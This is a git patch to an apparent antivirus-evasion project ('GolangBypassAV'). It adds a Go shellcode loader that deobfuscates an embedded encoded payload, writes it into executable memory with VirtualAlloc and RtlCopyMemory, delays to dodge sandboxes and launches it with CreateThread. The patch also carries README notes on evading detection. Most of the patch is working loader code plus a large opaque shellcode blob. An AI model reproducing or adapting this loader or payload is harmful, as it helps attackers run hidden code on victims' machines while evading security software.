From 0a6ef26000db1c6791e700ffd748681f746c435a Mon Sep 17 00:00:00 2001
From: Administrator <1850597152@qq.com>
Date: Sun, 15 Aug 2021 19:25:41 +0800
Subject: [PATCH] =?UTF-8?q?=E5=A2=9E=E5=8A=A0CreateThread?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md     |  12 ++---
 test3/main.go |   3 +-
 test4/main.go | 123 ++++++++++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 130 insertions(+), 8 deletions(-)
 create mode 100644 test4/main.go

diff --git a/README.md b/README.md
index de36687..cb0e3da 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,7 @@
 # GolangBypassAV
 研究利用golang来bypassAV
 
-## 说明
+## 前言
 免杀这块本来就不是web狗擅长的，而且作为一个web狗也没必要花太多时间来折腾这个，达到能用就行，不要追求全部免杀，能免杀目标就行。
 
 
@@ -9,12 +9,10 @@
 静态免杀比较简单，可选加密payload或者分离payload。  
 分离免杀效果比加密payload的效果要好。
 
-## 目录介绍
-- hello  
-golang的demo。hello world 也有5个报毒。
-  
-- test1  
-随手抄了一个加密payload出来。效果一般。
+## 说明
+test1、test2效果还可以。
+
+
 
 
 
diff --git a/test3/main.go b/test3/main.go
index b6e2c9d..f4e2f5a 100644
--- a/test3/main.go
+++ b/test3/main.go
@@ -128,7 +128,8 @@ func getFileShellCode1(file string) string {
 }
 
 func main() {
-	//用了virtualProtect没什么明显提升，还是7个
+	//用了virtualProtect没什么明显提升，还是7个。
+	//virtualProtect传参还有点问题，待修复。
 
 	//fmt.Println(1)
 
diff --git a/test4/main.go b/test4/main.go
new file mode 100644
index 0000000..999fc53
--- /dev/null
+++ b/test4/main.go
@@ -0,0 +1,123 @@
+package main
+
+import (
+	"GolangBypassAV/encry"
+	"encoding/base64"
+	"fmt"
+	"os"
+	"syscall"
+	"time"
+	"unsafe"
+)
+
+const (
+	MEM_COMMIT             = 0x1000
+	MEM_RESERVE            = 0x2000
+	PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var kk = []byte{0x11}
+
+var (
+	kernel32     = syscall.MustLoadDLL("kernel32.dll")
+	ntdll        = syscall.MustLoadDLL("ntdll.dll")
+	VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+	CreateThread = kernel32.MustFindProc("CreateThread")
+
+	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+)
+
+func base64Decode(data string) []byte {
+	data1, _ := base64.StdEncoding.DecodeString(data)
+	return data1
+}
+
+func base64Encode(data []byte) string {
+	bdata := base64.StdEncoding.EncodeToString(data)
+	return bdata
+}
+
+func getEnCode(data []byte) string {
+	bdata := base64.StdEncoding.EncodeToString(data)
+
+	bydata := []byte(bdata)
+	var shellcode []byte
+
+	for i := 0; i < len(bydata); i++ {
+		shellcode = append(shellcode, bydata[i]+kk[0])
+	}
+	return base64.StdEncoding.EncodeToString(shellcode)
+}
+
+func getDeCode(string2 string) []byte {
+
+	ss, _ := base64.StdEncoding.DecodeString(string2)
+	string2 = string(ss)
+	var shellcode []byte
+
+	bydata := []byte(string2)
+
+	for i := 0; i < len(bydata); i++ {
+		shellcode = append(shellcode, bydata[i]-kk[0])
+	}
+	ssb, _ := base64.StdEncoding.DecodeString(string(shellcode))
+	return ssb
+
+}
+
+func checkError(err error) {
+	if err != nil {
+		if err.Error() != "The operation completed successfully." {
+			println(err.Error())
+			os.Exit(1)
+		}
+	}
+}
+
+func genEXE(charcode []byte) {
+
+	addr, _, err := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
+	if err != nil && err.Error() != "The operation completed successfully." {
+		syscall.Exit(0)
+	}
+	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
+	if err != nil && err.Error() != "The operation completed successfully." {
+		syscall.Exit(0)
+	}
+	time.Sleep(5 * time.Second)
+	//syscall.Syscall(addr, 0, 0, 0, 0)
+	CreateThread.Call(0, 0, addr, 0, 0, 0)
+}
+
+func gd() int64 {
+	time.Sleep(time.Duration(2) * time.Second)
+
+	dd := time.Now().UTC().UnixNano()
+	return dd + 123456
+
+}
+
+func getFileShellCode(file string) []byte {
+	data := encry.ReadFile(file)
+	//shellCodeHex := encry.GetBase64Data(data)
+	//fmt.Print(shellCodeHex)
+	return data
+}
+
+func getFileShellCode1(file string) string {
+	data := encry.ReadFile(file)
+	shellCodeHex := base64Encode(data)
+	fmt.Print(shellCodeHex)
+	return shellCodeHex
+}
+
+func main() {
+	//fmt.Println(1)
+
+	//fmt.Print(getEnCode(getFileShellCode("C:\\Users\\Administrator\\Desktop\\payload.bin")))
+
+	bbdata := "QFZ6VUZhVYCKUlJSUlZXY2JnU2RmZ2taXnVbfWRahWRqVnpdZnl5WnpCWnhkWoWKZlZ4YYVBgVxlZVlbZFVZUoNViXl3UlqEWlZZU4piQlNSdFl6SGdbU2Zmel1melRdYnuJWlJ1U354aXhqVIhbQnSAhlJ6UlJSUlZ6V4hZY39kUlliZlqFWlhWZF1iVFNbUnVVe2d8e0CKZlhdX1p5WlJ1a19edH1aXnRUhGJ0WVtVZlZTiGV7eHV3V15SQYh8VFZmRkFpaWpoVmRdYlRjW1J1U35iaoReZFZkXWJTiVtSdVNTeohkWmRSWWJiZ3lTaFdGa2h8V2piZ31TaHx6VUhUU1Nmh0B4aFZXa2h8el1Whn1hQEBAQGlogFJkc0ZEcmhGgXN+Z0FSVldoZGp/fmVaf4lic4FedYpqWUBKZ1pedH1aXnVbX150U19edH1TZlZXYmJzgEdnf35/QEppg3RCgVp6dFdThlRSVVJSU19edH1TZmZXY3J4X1NmZlhHZ0V+d4mHQGdHQn1zZFp/U2RVWWRkan9qZWVZW2Z+eFJSfFRWZn1bU4aGhWdde4dAQmZ6W4l8elWIQlOCVH1KWnp3V1p6dYFbiUlVQEBAQEBlZVlbZn1bU4Z6QVhYWYdAQmppUlVFaHVSYlJSZGFAYVVFZF5SYlJSR0phgUZSVlJSYHp6QEBAQF1EfUdfi15SfGtoZ3VVdWZScnpKgHJlW1eBRlOFhkaAalZfhmJzc0J5gF14a4p+QHmDemZFd0d8X0mFfWmIi31HcoJYf3mIamSIYIODX15GQGKGYXN4Z1dkf4tHSIZiRIl6ZWpJhINbdlJTZ3RDZ4pdZld/a2hGQWB6U19zRIGBc1iJeV2LZoZeVFKAakNKhXRYV0FyaFuEa2WEeGVnX1tjZFJGXXtSSFpZV3xraV+DWlVahl9URYlee2qLXXtaiF6LhHhnQ32Ga1hKRHSKU2BnVFJDXXtWSFpXdWFni2pBYIpTZnR+fXxraEZBXYtmhl5UfF9UeFJpaX9Dh0JIc2dUSF92il9ci19nQ4lFa0p+g3t6f0iKiWRkfmlnQ35ad3J6UouFglNog3VaXHRagEpaYEpBf4hpfXuLYXR7RXpKZlVqZmJTa2JKSEBZaEB+WXuJholGaEZkRohUZIFCRFViSGWIY354c1aIRVNSiFlIRWN5YXiHfHJDRYE8doRgflxXRX5KSnVnSUqFW3pZeHqEVmlaWkNBRH6Gi4ZeY4hWaH2Ee1hdYWB6X0VBfmBbd1l7Q3xkh1pHWkFKaIBHYmZ3RFV2dEZnWGGJe1lIfkOHc1Z0Z0dzQXeAg4BJVFyKdWSJWkhocoVIWn1lWGeJgXp2gUaDW35nX1mDRXVFi1pSYnNIiIVyW2hASmdaXnR+R1JSU1JSVlhFUlNSUlJWWEZiUlJSUlZYR2hcY2VGd0BnZFtfZWZBeltGQXpbSWZ6W0N8WEVSVFJSUlZ+WzxmWEdWgXJbRYdAZ2RaYVZaWmlSdV1rfnqIdVpSdGBXiFlpaWhXeWpkUmZSUlJSUmZeYYB/QERAQItWil56RUZde1ZCX4pFiV57WlJWe2NodlJOTg=="
+	shellCodeHex := getDeCode(bbdata)
+	gd()
+	genEXE(shellCodeHex)
+}